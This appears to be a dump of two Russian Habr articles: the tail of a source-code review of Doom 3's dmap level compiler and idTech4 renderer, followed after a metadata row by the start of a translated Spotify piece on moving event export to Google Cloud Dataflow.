Эти блоки называются «кистями» (brush). На рисунке ниже использовано восемь кистей (Для объяснения каждого шага `dmap` я буду использовать одну и ту же карту).
Дизайнер может хорошо понимать, что находится «внутри» (первый рисунок), но `dmap` получает всего лишь суп из кистей, в котором нет ничего внутреннего и наружного (второй рисунок).
| | |
| --- | --- |
| Что видит дизайнер | Что видит `Dmap` при считывании кистей из файла `.map`. |
| | |
Кисть определяется не через грани, а через плоскости. Задание плоскостей вместо граней может казаться неэффективным, но это будет очень полезно позже, при проверке того, находятся ли две поверхности на одной плоскости. Нет внутренних и внешних частей, потому что плоскости не ориентированы «одинаково». Ориентация плоскостей может быть разной внутри или снаружи объёма.
Обзор кода
----------
Исходный код Dmap очень хорошо откомментирован, просто посмотрите на это количество: комментариев больше, чем кода!
```
bool ProcessModel( uEntity_t *e, bool floodFill ) {
bspface_t *faces;
// построение bsp-дерева с использованием всех сторон
// всех структурных кистей
faces = MakeStructuralBspFaceList ( e->primitives );
e->tree = FaceBSP( faces );
// создаём порталы на каждом пересечении листьев,
// чтобы обеспечить возможность заливки
MakeTreePortals( e->tree );
// классифицируем листья как непрозрачные или порталы областей
FilterBrushesIntoTree( e );
// проверяем, замкнуто ли bsp полностью
if ( floodFill && !dmapGlobals.noFlood ) {
if ( FloodEntities( e->tree ) ) {
// делаем листья снаружи непрозрачными
FillOutside( e );
} else {
common->Printf ( "**********************\n" );
common->Warning( "******* leaked *******" );
common->Printf ( "**********************\n" );
LeakFile( e->tree );
// Если нужно действительно обработать
// "протекающую" карту, то используется параметр
// -noFlood
return false;
}
}
// получение минимальной выпуклой оболочки для каждой видимой стороны
// это необходимо делать до создания порталов между областями,
// потому что видимая оболочка используется в качестве портала
ClipSidesByTree( e );
// определяем области, прежде чем обрезать треугольники
// в дерево, чтобы треугольники никогда не пересекали границы областей
FloodAreas( e );
// теперь у нас есть BSP-дерево с непрозрачными и прозрачными листьями, помеченными областями
// все примитивы теперь обрезаются до них, отбрасываются
// фрагменты в непрозрачных областях
PutPrimitivesInAreas( e );
// теперь строим объёмы теней для освещения и разрезаем
// списки оптимизации по деревьям лучей света,
// чтобы не было ненужной перерисовки в случае
// неподвижности
Prelight( e );
// оптимизация - это надмножество исправляющих T-образных соединений
if ( !dmapGlobals.noOptimize ) {
OptimizeEntity( e );
} else if ( !dmapGlobals.noTJunc ) {
FixEntityTjunctions( e );
}
// теперь исправляем Т-образные соединения в областях
FixGlobalTjunctions( e );
return true;
}
```
0. Загрузка геометрии уровня
----------------------------
Файл `.map` — это список сущностей. Уровень — это первая сущность в файле, имеющая класс «worldspawn». Сущность содержит список примитивов, которые почти всегда являются кистями. Остальные сущности — это источники света, монстры, точки спауна игрока, оружие и т.д.
```
Version 2
// сущность 0
{
"classname" "worldspawn"
// примитив 0
{
brushDef3
{
( 0 0 -1 -272 ) ( ( 0.0078125 0 -8.5 ) ( 0 0.03125 -16 ) ) "textures/base_wall/stelabwafer1" 0 0 0
( 0 0 1 -56 ) ( ( 0.0078125 0 -8.5 ) ( 0 0.03125 16 ) ) "textures/base_wall/stelabwafer1" 0 0 0
( 0 -1 0 -3776) ( ( 0.0078125 0 4 ) ( 0 0.03125 0 ) ) "textures/base_wall/stelabwafer1" 0 0 0
( -1 0 0 192 ) ( ( 0.0078125 0 8.5 ) ( 0 0.03125 0 ) ) "textures/base_wall/stelabwafer1" 0 0 0
( 0 1 0 3712 ) ( ( 0.006944 0 4.7 ) ( 0 0.034 1.90) ) "textures/base_wall/stelabwafer1" 0 0 0
( 1 0 0 -560 ) ( ( 0.0078125 0 -4 ) ( 0 0.03125 0 ) ) "textures/base_wall/stelabwafer1" 0 0 0
}
}
// примитив 1
{
brushDef3
}
// примитив 2
{
brushDef3
}
}
.
.
.
// сущность 37
{
"classname" "light"
"name" "light_51585"
"origin" "48 1972 -52"
"texture" "lights/round_sin"
"_color" "0.55 0.06 0.01"
"light_radius" "32 32 32"
"light_center" "1 3 -1"
}
```
Каждая кисть описывается как множество плоскостей. Стороны кисти называются гранями (или изгибами), каждая из которых получается обрезкой плоскости всеми другими плоскостями кисти.
**Примечание:** на этапе загрузки используется очень интересная и быстрая система хэширования плоскостей (Plane Hashing System): поверх `idHashIndex` создана `idPlaneSet`, на которую стоит посмотреть.
1. MakeStructuralBspFaceList и FaceBSP
--------------------------------------
Первый этап — это разрезание карты способом двоичного разбиения пространства (Binary Space Partition). Каждая непрозрачная грань карты используется как разделительная плоскость.
Используется следующая эвристика выбора разделителя:
**1:** если в карте больше 5000 единиц: разрезаем с помощью ориентированной по осям плоскости (Axis Aligned Plane) посередине пространства. На рисунке ниже пространство 6000x6000 разрезано три раза.
**2:** Когда больше не осталось частей больше 5000 единиц: используем грани, помеченные как «порталы» (они имеют материал `textures/editor/visportal`). На рисунке ниже кисти порталов отмечены голубым.
**3:** Используем оставшиеся грани. Выбираем грань, наиболее коллинеарную с большинством других И разрезаем наименьшие грани. Также предпочтение отдаётся осевым разделителям. Разделительные плоскости отмечены красным.
Процесс завершается, когда не остаётся доступных граней: весь лист BSP-дерева представляет собой выпуклое подпространство:
2. MakeTreePortals
------------------
Теперь карта разделена на выпуклые подпространства, но эти подпространства ничего не знают друг о друге. Цель этого этапа — соединить каждый из листьев с его соседями с помощью автоматического создания порталов. Идея заключается в том, чтобы начать с шести порталов, ограничивающих карту: соединить «внешнее» с «внутренним» (с корнем BSP). Затем для каждого узла в BSP разделяем каждый портал в узле, добавляем разделительную плоскость в качестве портала и рекурсивно повторяем.
Шесть исходных порталов будут разделены и распространятся вниз, к листьям. Это не так тривиально, как кажется, потому что каждый раз узел разделяется: каждый присоединённый к нему портал тоже должен быть разделён.
На рисунке слева один портал соединяет два узла-«брата» в BSP-дереве. При следовании по левому дочернему листу его разделительная плоскость делит портал на два. Мы видим, что порталы других узлов тоже нужно обновлять, чтобы они больше не соединялись с «братьями» и их «племянниками».
В конце процесса шесть исходных порталов разделены на сотни порталов, а на разделительных плоскостях созданы новые порталы:
Каждый лист в BSP теперь знает о своих соседях благодаря связанному списку порталов, присоединяющих их к листьям, имеющим общее ребро:
3. FilterBrushesIntoTree
------------------------
Этот этап похож на детскую игру с подбором форм фигур, где BSP — это доска, а кисти — это фигуры. Каждая кисть отправляется вниз по BSP для обнаружения **непрозрачных** листьев.
Способ работает благодаря хорошо описанной эвристике: если кисть немного пересекает разделительную плоскость, но не больше, чем на EPSILON, то онВместо этого она полностью отправляется на сторону плоскости, на которой находятся все другие элементы кисти.
Теперь «внутренние» и «внешние» части начинают быть видимыми.
Лист, которого коснулась кисть, считается непрозрачным (сплошным) и соответственным образом помечается.
4. FloodEntities и FillOutside
------------------------------
С помощью сущности спауна игрока для каждого листа выполняется алгоритм заливки. Он помечает листья как достижимые сущностями.
Последний этап FillOutside проходит по каждому листу и если он недостижим, то помечает его как **непрозрачный**.
Мы получили уровень, в котором каждое подпространство или достижимо, или непрозрачно: теперь навигация через порталы листьев единообразна и выполняется проверкой целевого листа на непрозрачность.
5. ClipSidesByTree
------------------
Настало время отбросить ненужные части кистей: каждая исходная сторона кисти отправляется вниз по BSP. Если сторона находится внутри непрозрачного пространства, то она отбрасывается. В противном случае она добавляется в список `visibleHull` стороны.
В результате мы получаем «кожу» уровня, сохраняются только видимые части.
С этого момента для оставшихся операций рассматривается только список `visibleHull` стороны.
6. FloodAreas
-------------
Теперь `dmap` группирует листья с идентификаторами областей: для каждого листа выполняется алгоритм заливки. Он пытается залить всё через порталы, связанные с листом.
Здесь работа дизайнера имеет огромную важность: области можно идентифицировать, только если на карте были вручную расположены visportals (кисти порталов, упомянутые на этапе 1). Без них `dmap` идентифицирует только одну область и каждый кадр в видеопроцессор будет отправляться вся карта.
Рекурсивный алгоритм заливки останавливается только порталами областей и непрозрачными узлами. На рисунке ниже автоматически сгенерированный портал (красный) позволит продолжить заливку, но размещённый дизайнером visportal (синий, также называется areaportal), остановит его, создав две области:
В конце процесса каждый несплошной лист принадлежит к области и определены межобластные порталы (голубой).
7. PutPrimitivesInAreas
-----------------------
На этом этапе в ещё одной игре «Найди фигуру» сочетаются области, определённые на этапе 6 и visibleHull, вычисленный на этапе 5: на этот раз доска — это области, а фигуры — это visibleHull.
Выделяется массив областей и каждый visibleHull каждой кисти отправляется вниз по BSP: к массиву областей добавляются поверхности по индексным areaID.
**Примечание:** довольно умный ход — на этом этапе также оптимизируется спаунинг сущностей. Если некоторые сущности помечены как «func\_static», их экземпляры создаются сейчас и привязываются к области. Таким образом можно «приклеить» ящики, бочки и стулья к области (также выполнив предварительную генерацию их теней).
8. Prelight
-----------
Для каждого статичного источника света `dmap` предварительно вычисляет геометрию объёмов теней. Эти объёмы позже как есть сохраняются в `.proc`. Единственная хитрость заключается в том, что объёмы теней сохраняются с именем `"_prelight_light"`, соединённым с идентификатором источника света, чтобы движок мог сопоставить источник света из файла `.map` и объём теней из файла `.proc`:
```
shadowModel { /* name = */ "_prelight_light_2900"
/* numVerts = */ 24 /* noCaps = */ 72 /* noFrontCaps = */ 84 /* numIndexes = */ 96 /* planeBits = */ 5
( -1008 976 183.125 ) ( -1008 976 183.125 ) ( -1013.34375 976 184 ) ( -1013.34375 976 184 ) ( -1010 978 184 )
( -1008 976 184 ) ( -1013.34375 976 168 ) ( -1013.34375 976 168 ) ( -1008 976 168.875 ) ( -1008 976 168.875 )
( -1010 978 168 ) ( -1008 976 167.3043518066 ) ( -1008 976 183.125 ) ( -1008 976 183.125 ) ( -1010 978 184 )
( -1008 976 184 ) ( -1008 981.34375 184 ) ( -1008 981.34375 184 ) ( -1008 981.34375 168 ) ( -1008 981.34375 168 )
( -1010 978 168 ) ( -1008 976 167.3043518066 ) ( -1008 976 168.875 ) ( -1008 976 168.875 )
4 0 1 4 1 5 2 4 3 4 5 3 0 2 1 2 3 1
8 10 11 8 11 9 6 8 7 8 9 7 10 6 7 10 7 11
14 13 12 14 15 13 16 12 13 16 13 17 14 16 15 16 17 15
22 21 20 22 23 21 22 18 19 22 19 23 18 20 21 18 21 19
1 3 5 7 9 11 13 15 17 19 21 23 4 2 0 10 8 6
16 14 12 22 20 18
}
```
9. FixGlobalTjunctions
----------------------
Исправление Т-образных соединений обычно важно для избавления от визуальных артефактов, но в idTech4 оно ещё важнее: геометрия также используется для генерирования теней в процессе записи в буфер шаблонов. Т-образные соединения дважды проблемны.
10. Вывод данных
----------------
В конце все предварительно обработанные данные сохраняются в файл `.proc`:
* Для каждой области множество граней поверхностей группируется по материалу.
* BSP-дерево с areaID для листьев.
* Изгибы межобластных порталов.
* Объёмы теней.
История
-------
Многие сегменты кода из `dmap` схожи с [кодом, использованным в инструментах предварительной обработки](https://github.com/id-Software/Quake-III-Arena/blob/master/q3map/bsp.c#LC67) Quake (`qbsp.exe`), Quake 2 (`q2bsp.exe`) и Quake 3 (`q3bsp.exe`). Причина этого в том, что потенциально видимое множество (PVS) сгенерировано с помощью временной системы порталов:
* `qbsp.exe` считывал `.map` и генерировал файл `.prt`, содержащий информацию о связях между листьями в порталах BSP (в точности как на этапе 2 «MakeTreePortals»).
* `vis.exe` использовался в `.prt` в качестве входа. Для каждого листа:
+ выполнялась заливка с помощью порталов в связанные листья.
+ перед заливкой в лист: выполнялась проверка видимости отсечением следующего портала с двумя предыдущими порталами относительно пирамиды видимости (многие считали, что видимость определяется испусканием тысяч лучей, но это миф, в который много кто верит и сейчас).
Иллюстрация всегда лучше: допустим `qbsp.exe` обнаружил шесть листьев, соединённых порталами и теперь выполняется `vis.exe` для генерирования PVS. Этот процесс будет выполнен для каждого листа, но в этом примере мы рассмотрим только лист 1.
Так как лист всегда видим из самого себя, то первоначальное PVS для листа 1 будет следующим:
| | | | | | | |
| --- | --- | --- | --- | --- | --- | --- |
| Идентификатор листа | 1 | 2 | 3 | 4 | 5 | 6 |
| Битовый вектор (PVS для листа 1) | 1 | ? | ? | ? | ? | ? |
Начинается выполнение алгоритма заливки: правило заключается в том, что пока у нас в пути нет двух порталов, лист считается видимым из начальной точки. Это значит, что мы достигнем листа 3 со следующим PVS:
| | | | | | | |
| --- | --- | --- | --- | --- | --- | --- |
| Идентификатор листа | 1 | 2 | 3 | 4 | 5 | 6 |
| Битовый вектор (PVS для листа 1) | 1 | 1 | 1 | ? | ? | ? |
В листе 3 мы уже можем на самом деле проверять видимость: взяв две точки из портала n-2 и портала n-1, мы можем сгенерировать плоскости отсечения и протестировать следующие порталы на потенциальную видимость.
Из рисунка мы видим, что порталы, ведущие к листьям 4 и 6 не пройдут проверку, а портал к листу 5 пройдёт. Затем рекурсивно выполнится алгоритм заливки для листа 6. В конце PVS для листа 1 будет следующим:
| | | | | | | |
| --- | --- | --- | --- | --- | --- | --- |
| Идентификатор листа | 1 | 2 | 3 | 4 | 5 | 6 |
| Битовый вектор (PVS для листа 1) | 1 | 1 | 1 | 0 | 1 | 0 |
В idTech4 PVS не генерируется, вместо этого сохраняются данные порталов. Видимость каждой области вычисляется во время выполнения проецированием изгибов порталов в пространство экрана и обрезкой их друг относительно друга.
**Интересный факт:** Майкл Абраш объяснил весь этот процесс за 10 секунд с помощью маркера в этом отличном видео из GDC Vault (картинка кликабельна):
[](http://www.gdcvault.com/play/1014234/Excerpt-Quake-Postmortem-Optimizing-Level).
Часть 3: Рендерер
=================
В рендерере idTech4 сделаны три важных инновации:
* «Unified Lighting and Shadows»: грани уровня и грани сущностей проходят через одинаковый конвейер и шейдеры.
* «Visible Surface Determination»: система порталов позволяет выполнять VSD во время выполнения — больше никаких PVS.
* «Multi-pass Rendering».
Наиболее важным в idTech4 стал многопроходной рендерер. Влияние каждого источника света в области видимости накапливается в буфере кадра видеопроцессора с помощью аддитивного смешивания. Doom 3 полностью использует то, что цветовые регистры буфера кадра выполняют насыщение, а не перенос.
`Регистр ЦП (перенос) :
============================
1111 1111
+ 0000 0100
---------
= 0000 0011
Регистр видеопроцессора (насыщение) :
==========================
1111 1111
+ 0000 0100
---------
= 1111 1111`
Я создал собственный [уровень](http://fd.fabiensanglard.net/doom3/additive_blending/lights.map), чтобы проиллюстрировать аддитивное смешивание. На скриншоте ниже в комнате показаны три источника света, для которых выполняется три прохода. Результат каждого прохода накапливается в буфере кадра. Заметьте белое освещение в центре экрана, где все источники света смешиваются.
Я изменил движок, чтобы изолировать каждый проход:
*Проход 1: источник синего света*
*Проход 2: источник зелёного света*
*Проход 3: источник красного света*
Я внёс другие изменения в движок, чтобы увидеть состояние буфера кадра ПОСЛЕ каждого прохода источника света:
*Буфер видеопроцессора после первого прохода*
*Буфер кадра видеопроцессора после второго прохода*
*Буфер кадра видеопроцессора после третьего прохода*
**Интересный факт:** Можно взять результат каждого прохода источника света, смешать их вручную в Photoshop (Linear Dodge для имитации аддитивного смешивания OpenGL) и получить [совершенно такой же результат](http://fd.fabiensanglard.net/doom3/additive_blending/lights.psd).
Аддитивное смешивание в сочетании с поддержкой теней и рельефного текстурирования (bumpmapping) создают в движке очень хорошую картинку даже по стандартам 2012 года:
Архитектура
-----------
В отличие от предыдущих движков idTech, рендерер не монолитен, а разбит на две части (фронтэнд и бекэнд):
* Фронтэнд:
1. Анализирует базу данных и определяет, что влияет на область видимости.
2. Сохраняет результат в промежуточное представление (`def_view_t`) и загружает/использует повторно кэшированную геометрию в VBO видеопроцессора.
3. Выдаёт команду RC\_DRAW\_VIEW.
* Бекэнд:
1. Команда RC\_DRAW\_VIEW приводит в действие бекэнд.
2. Использует промежуточное представление в качестве входных данных и передаёт команды в видеопроцессор с помощью VBO.
Архитектура рендерера очень похожа на [кросс-компилятор LCC](http://en.wikipedia.org/wiki/LCC_(compiler)), использованный для генерирования байт-кода виртуальной машины Quake3:
Я изначально думал, что на дизайн рендерера повлиял дизайн LCC, но рендерер разделён на две части, потому что [он должен был стать многопоточным](http://fabiensanglard.net/doom3/interviews.php#qrenderer) в SMP-системах. Фронтэнд должен был выполняться в одном ядре, а бекэнд — в другом. К сожалению, из-за нестабильности с некоторыми драйверами ещё один поток пришлось отключить и обе части выполняются в одном потоке.
**Интересный факт о происхождении:** С кодом тоже можно провести археологические исследования — если внимательно посмотреть на развёрнутый код рендерера, то чётко видно, что движок переходит от C++ к C (от объектов к статичным методам):
Так произошло из-за истории кода. Рендерер idTech4 писался Джоном Кармаком на основе движка Quake3 (кодовая база на C), пока он не стал специалистом по C++. Рендерер был позже интегрирован в кодовую базу idtech4 на C++.
Сколько от Quake осталось в Doom3? Сложно сказать, но забавно видеть, что основной метод в версии Mac OS X:
```
- (void)quakeMain;
```
Фронтэнд, бекэнд, взаимодействие с видеопроцессором
---------------------------------------------------
На рисунке показано взаимодействие между фронтэндом, бекэндом и видеопроцессором:
1. Фронтэнд анализирует состояние мира и выдаёт два результата:
* **Промежуточное представление**, содержащее список каждого из источников света, влияющих на область видимости. Каждый источник света содержит список взаимодействующих с ним поверхностей сущностей.
* Каждое взаимодействие между источником света и сущностью, которое будет использоваться в текущем кадре, кэшируется в **таблицу взаимодействий**. Данные обычно загружаются в VBO видеопроцессора.
2. Бекэнд получает на входе **промежуточное представление**. Он проходит по каждому источнику света в списке и создаёт вызовы отрисовки OpenGL для каждой сущности, взаимодействующей с источником света. Команда отрисовки ссылается на VBO и текстуры.
3. Видеопроцессор получает команды OpenGL и выполняет рендеринг на экран.
Фронтэнд рендерера Doom3
------------------------
Фронтэнд выполняет трудную задачу: определение видимых поверхностей (Visible Surface Determination, VSD). Её цель — найти все сочетания источников света и сущностей, влияющих на область видимости. Такие комбинации называются **взаимодействиями**. Когда все взаимодействия найдены, фронтэнд загружает всё необходимое бекэнду в ОЗУ видеопроцессора (он отслеживает всё с помощью «таблицы взаимодействий»). Последний этап заключается в генерировании **промежуточного представления**, которое будет считываться бекэндом для генерирования команд OpenGL.
Вот как это выглядит в коде:
```
- idCommon::Frame
- idSession::UpdateScreen
- idSession::Draw
- idGame::Draw
- idPlayerView::RenderPlayerView
- idPlayerView::SingleView
- idRenderWorld::RenderScene
- build params
- ::R_RenderView(params) // Это фронтэнд
{
R_SetViewMatrix
R_SetupViewFrustum
R_SetupProjection
// Самое важное находится здесь.
static_cast(parms->renderWorld)->FindViewLightsAndEntities()
{
PointInArea // Обходим BSP и находим текущую область
FlowViewThroughPortals // Рекурсивно обходим порталы, чтобы найти источники света и сущности, взаимодействующие с областью видимости.
}
R\_ConstrainViewFrustum // Повышаем точность Z-буфера ограничивая дальний план самой дальней сущностью.
R\_AddLightSurfaces // Находим сущности, не находящиеся в видимой области, но отбрасывающие тень (обычно это враги)
R\_AddModelSurfaces // Создаём экземпляры анимированных моделей (для монстров)
R\_RemoveUnecessaryViewLights
R\_SortDrawSurfs // Вызов простого qsort на C. Благодаря встраиванию сортировка на C++ стала бы быстрее.
R\_GenerateSubViews
R\_AddDrawViewCmd
}
```
**Примечание:** Здесь очевиден переход от C к C++.
Всегда проще разбираться на примере рисунка, поэтому вот уровень. Благодаря расположенным дизайнерами visplanes движок видит четыре области:
При загрузке `.proc` движок также загрузил `.map`, содержащий определения всех источников света и движущихся сущностей. Для каждого источника света движок создал список всех областей, на которые он влияет:
`Источник света 1 :
=========
- Область 0
- Область 1
Источник света 2 :
=========
- Область 1
- Область 2
- Область 3`
Во время выполнения у нас теперь есть положение игрока и монстры, отбрасывающие тени. Для корректности сцены необходимо найти всех монстров и тени.
Вот в чём заключается процесс:
1. Находим, в какой области находится игрок обходом BSP-дерева в `PointInArea`.
2. `FlowViewThroughPortals`: начиная с текущей области выполняем заливку в другую видимую область с помощью системы порталов. Изменяем форму пирамиды видимости при каждом проходе портала. Это очень красиво объяснено в книге [Realtime rendering](http://www.realtimerendering.com/):
Теперь у нас есть список всех источников света, влияющих на экран, и большинства сущностей, хранящихся в таблице взаимодействий:
`Таблица взаимодействий (источник света/сущность) :
==================================
Источник 1 - Область 0
Источник 1 - Область 1
Источник 1 - Монстр 1
Источник 2 - Область 1
Источник 2 - Монстр 1`
Таблица взаимодействий пока ещё не заполнена: отсутствует взаимодействие «Источник 2 — Монстр 2», у монстра 2 не будет тени.
3. `R_AddLightSurfaces` проходит через список областей каждого источника света и находит сущность, отсутствующую в области видимости, но отбрасывающую тень.
`Таблица взаимодействий (источник света/сущность) :
==================================
Источник 1 - Область 0
Источник 1 - Область 1
Источник 1 - Монстр 1
Источник 2 - Область 1
Источник 2 - Монстр 1
Источник 2 - Монстр 2`
4. `R_AddModelSurfaces`: все взаимодействия найдены, настало время загружать вершины и индексы в VBO видеопроцессора, если их там ещё нет. Здесь создаётся и экземпляр геометрии анимированного монстра (модель И объём тени).
5. Вся «интеллектуальная» работа завершена. С помощью `R_AddDrawViewCmd` выдаётся команда `RC_DRAW_VIEW`, заставляющая бекэнд начать рендеринг на экран.
Бекэнд рендерера Doom3
----------------------
Бекэнд занимается рендерингом промежуточного представления с учётом ограничений видеопроцессора: Doom3 поддерживал пять способов рендеринга видеопроцессоров:
* R10 (GeForce256)
* R20 (GeForce3)
* R200 (Radeon 8500)
* ARB (OpenGL 1.X)
* ARB2 (OpenGL 2.0)
На 2012 год только ARB2 поддерживается современными видеопроцессорами: стандарты обеспечили не только портируемость, но и увеличили срок жизни игры.
Если видеокарта поддерживала рельефное текстурирование (bumpmapping) ([туториал](http://fabiensanglard.net/bumpMapping/index.php) об использовании Hellknight, который я написал несколько лет назад) и карты отражений, то idtech4 включал их, но все они стремились изо всех сил как можно больше сэкономить пиксельную скорость заполнения (fillrate) следующими операциями:
* OpenGL Scissor test (отдельно для каждого источника света, созданного фронтэндом)
* Заполнением Z-буфера на первом этапе.
Ниже показан развёрнутый код бекэнда:
```
idRenderSystemLocal::EndFrame
R_IssueRenderCommands
RB_ExecuteBackEndCommands
RB_DrawView
RB_ShowOverdraw
RB_STD_DrawView
{
RB_BeginDrawingView // очистка z-буфера, задание матрицы проекций и т.д.
RB_DetermineLightScale
RB_STD_FillDepthBuffer // заполнение буфера глубины и очистка (заливка чёрным) буфера цвета.
// Проход через каждый источник света и отрисовка прохода, накопление результата в буфере кадра
_DrawInteractions
{
5 GPU specific path
switch (renderer)
{
R10 (GeForce256)
R20 (geForce3)
R200 (Radeon 8500)
ARB (OpenGL 1.X)
ARB2 (OpenGL 2.0)
}
// отключение теста теней шаблонов
qglStencilFunc( GL_ALWAYS, 128, 255 );
RB_STD_LightScale
// отрисовка всех независящих от света проходов затенения (экраны, неон, и т.д...)
int processed = RB_STD_DrawShaderPasses( drawSurfs, numDrawSurfs )
// туман и смешивание источников света
RB_STD_FogAllLights();
// отрисовка всех эффектов постпроцессинга с помощью _currentRender
if ( processed < numDrawSurfs )
RB_STD_DrawShaderPasses( drawSurfs+processed, numDrawSurfs-processed );
}
```
Чтобы пройти пошагово этапы бекэнда я взял знаменитый экран из уровня Doom3 и останавливал движок на каждом этапе визуалиации:
Поскольку в Doom3 используется bumpmapping и карты отражений поверх диффузных текстур, рендеринг поверхности может использовать поиск в трёх текстурах. На пиксель могут влиять до 5-7 источников света, так что не будет безумием предположить возможность до 21 поиска текстур на пиксель… даже без учёта перерисовки. Первый этап бекэнда нужен для достижения 0 перерисовок: отключение всех шейдеров, запись только в буфер глубины и рендеринг всей геометрии:
Буфер глубины теперь заполнен. С этого момента запись глубин отключена и включен тест глубин.
Рендеринг в первую очередь в z-буфер может казаться контрпродуктивным, но на самом деле он чрезвычайно полезен для экономии fillrate:
* Предотвращает выполнение затратных шейдеров для невидимых поверхностей.
* Предотвращает рендеринг невидимых теней в буфер шаблонов.
* Поскольку поверхности рендерятся без определённого порядка (сзади вперёд или спереди назад), то будет большой объём перерисовки. Этот шаг полностью избавляет от перерисовки.
Заметьте, что буфер цвета очищен и залит чёрным: в естественном виде мир Doom3 кромешно чёрный, потому что нет никакого «окружающего» освещения — чтобы быть видимым, полигон/поверхность должны взаимодействовать с источником света. Это объясняет, почему Doom3 был таким тёмным!
После этого движок выполнит 11 проходов (по одному для каждого источника света.
Я разбил процесс рендеринга на части. На рисунках ниже показан каждый отдельный проход источника света.
*Влияние источника света 1*
*Влияние источника света 2*
*Влияние источника света 3*
*Влияние источника света 4*
*Влияние источника света 5*
*Влияние источника света 6*
*Влияние источника света 7*
*Влияние источника света 8*
*Влияние источника света 9*
Влияние источника света 10
*Влияние источника света 11*
*Последний проход: проход окружающего освещения*
А теперь о том, что происходит в буфере кадра видеопроцессора:
*После прохода источника света 1*
*После прохода источника света 2*
*После прохода источника света 3*
*После прохода источника света 4*
*После прохода источника света 5*
*После прохода источника света 6*
*После прохода источника света 7*
*После прохода источника света 8*
*После прохода источника света 9*
*После прохода источника света 10*
*После прохода источника света 11*
*После прохода источника света 12*
*После прохода источника света 13*
Буфер шаблонов и Scissors test:
Если источником света отбрасывается тень, то перед каждым проходом источника света необходимо выполнить тест шаблона. Я не буду подробно описывать противоречие depth-fail/depth pass и печально известный ход Creative Labs. В опубликованном исходном коде представлен более медленный алгоритм прохода глубины (depth pass), потому что он требует построения качественного объёма теней. Кому-то удалось вернуть в исходный код алгоритм depth fail, но учтите — это законно только в Европе!
Чтобы сэкономить fillrate, фронтэнд генерирует прямоугольник пространства экрана, который должен использоваться для scissor test в OpenGL. Это позволяет не выполнять шейдер для пикселей, чья поверхность всё равно будет чёрной из-за расстояния до источника света.
Буфер шаблонов применяется прямо перед проходом источника света 8. Все нечёрные области будут залиты, а для других запись в буфер кадра ограничена: чётко видим принцип маски.
Буфер шаблонов расположен прямо перед проходом источника света 7. Чётко виден scissor для экономии fillrate.
fd.fabiensanglard.net/doom3/renderer/DOOM3-Context3-Static-StencilBuffer2.png»
Интерактивные поверхности
-------------------------
Последний этап рендеринга — это `RB_STD_DrawShaderPasses`: он рендерит все поверхности, которым не требуется света. К ним относятся экран и потрясающие интерактивные поверхности графического интерфейса пользователя. Этой частью движка Джон Кармак гордился больше всего. Не думаю, что она получила всё полагающееся ей уважение. В 2004 году начальной заставкой обычно было воспроизводимое во весь экран видео. После завершения ролика загружался уровень и в дело вступал движок, но в Doom III была совершенно другая история:
Этапы:
* Загрузка уровня.
* Начинается воспроизведение ролика.
* На пятой секунде пятой минуты камера отъезжает назад.
* Видео, которое мы только что видели, было ЭКРАНОМ В ДВИЖКЕ ИГРЫ!
Помню, что когда увидел это в первый раз, то решил, что это какой-то трюк. Думал, что видеопроигрыватель прерывался и дизайнер вставил на экран дисплея текстуру, а положение камеры соответствовало последнему кадру видео. Я ошибался: idTech4 действительно может воспроизводить видео в интерактивных элементах поверхностей интерфейса пользователя. Для этого использовалась RoQ: технология, которую принёс с собой Грэм Девайн, когда пришёл в id Software.
**Интересный факт:**
Использованная в интро RoQ была впечатляющей для 2005 года и применение её на экране внутри игры было смелым ходом:
* Видео воспроизводится с частотой 30 кадров в секунду.
* Каждый кадр имеет разрешение 512x512: довольно высокое по тем временам
* Каждый кадр генерировался в `idCinematicLocal::ImageForTime` внутри ЦП и на лету загружался в видеопроцессор как текстура OpenGL.
Но интерактивные поверхности благодаря скриптингу и возможности вызывать нативные методы способны на гораздо большее.
Кого-то это [очень заинтересовало](http://www.battleteam.net/tech/fis/docs/index.html) и им удалось [запустить на них Doom 1](http://www.battleteam.net/tech/fis/)!
 | https://habr.com/ru/post/333836/ | null | ru | null |
# Spotify: миграция подсистемы событий в Google Cloud (часть 3)
В [первой статье](https://habrahabr.ru/company/google/blog/319772/) этой серии мы говорили о том, как работает старая система доставки сообщений и некоторых выводах, которые мы сделали по итогам ее работы. Во [второй](https://habrahabr.ru/company/google/blog/320192/) мы рассмотрели конструкцию новой системы и то, почему мы выбрали [Cloud Pub/Sub](https://cloud.google.com/pubsub/overview) в качестве транспортного механизма для всех событий. В этой третьей и последней статье мы объясним, как мы намереваемся работать со всеми опубликованными событиями при помощи [Dataflow](https://cloud.google.com/dataflow/), и что мы узнали о таком подходе.
Экспорт событий из Pub/Sub в (по)часовые интервалы с помощью Dataflow
---------------------------------------------------------------------
Большинство задач, выполняемых сегодня в Spotify – это пакетные задания. Они требуют того, чтобы события были надежно экспортированы в постоянное хранилище. В качестве такого постоянного хранилища мы традиционно используем [Hadoop](http://hadoop.apache.org/) Distributed File System (HDFS) и [Hive](https://hive.apache.org/). Чтобы соответствовать росту Spotify – который можно измерить как размером сохраненных данных, так и количеством инженеров – мы медленно переключаемся с HDFS на [Cloud Storage](https://cloud.google.com/storage/), а с Hive на [BigQuery](https://cloud.google.com/bigquery/).
Extract, Transform and Load (ETL) задания – это компоненты, которые мы используем для экспорта данных из HDFS и Cloud Storage. Экспорт Hive и BigQuery обрабатывается пакетными заданиями, которые преобразовывают данные из почасовых сборок на HDFS и Cloud Storage.
Все экспортируемые данные делятся, в соответствии с временными метками, на часовые пакеты. Это открытый интерфейс, который был представлен еще в самой первой нашей системе доставки событий. Система была основана на команде scp и она копировала часовые syslog файлы со всех серверов в HDFS.
ETL задания должны определить, с высокой достоверностью, что все данные для часовых сборок записаны в постоянное хранилище. Когда больше данных для часовой сборки не ожидается, она помечается как полная.
Опоздавшие к уже полной сборке данные добавляться в нее не могут, так как выполняющиеся задачи обычно читают данные из сборки один раз. Чтобы решить эту проблему, ETL задание должно обрабатывать опоздавшие данные отдельно. Все опоздавшие данные записываются в текущую открытую часовую сборку, сдвигая временную отметку события в будущее.
Для написания ETL задания мы решили поэкспериментировать с [Dataflow](https://cloud.google.com/dataflow/). Этот выбор был обусловлен тем, что мы хотели для себя как можно меньше оперативной ответственности, и чтобы другие решали большие проблемы за нас. Dataflow является как фреймворком для конвейерной записи данных, так и полностью управляемым сервисом в Google Cloud для выполнения таких конвейеров. Он «из коробки» может работать с Cloud Pub/Sub, Cloud Storage и BigQuery.
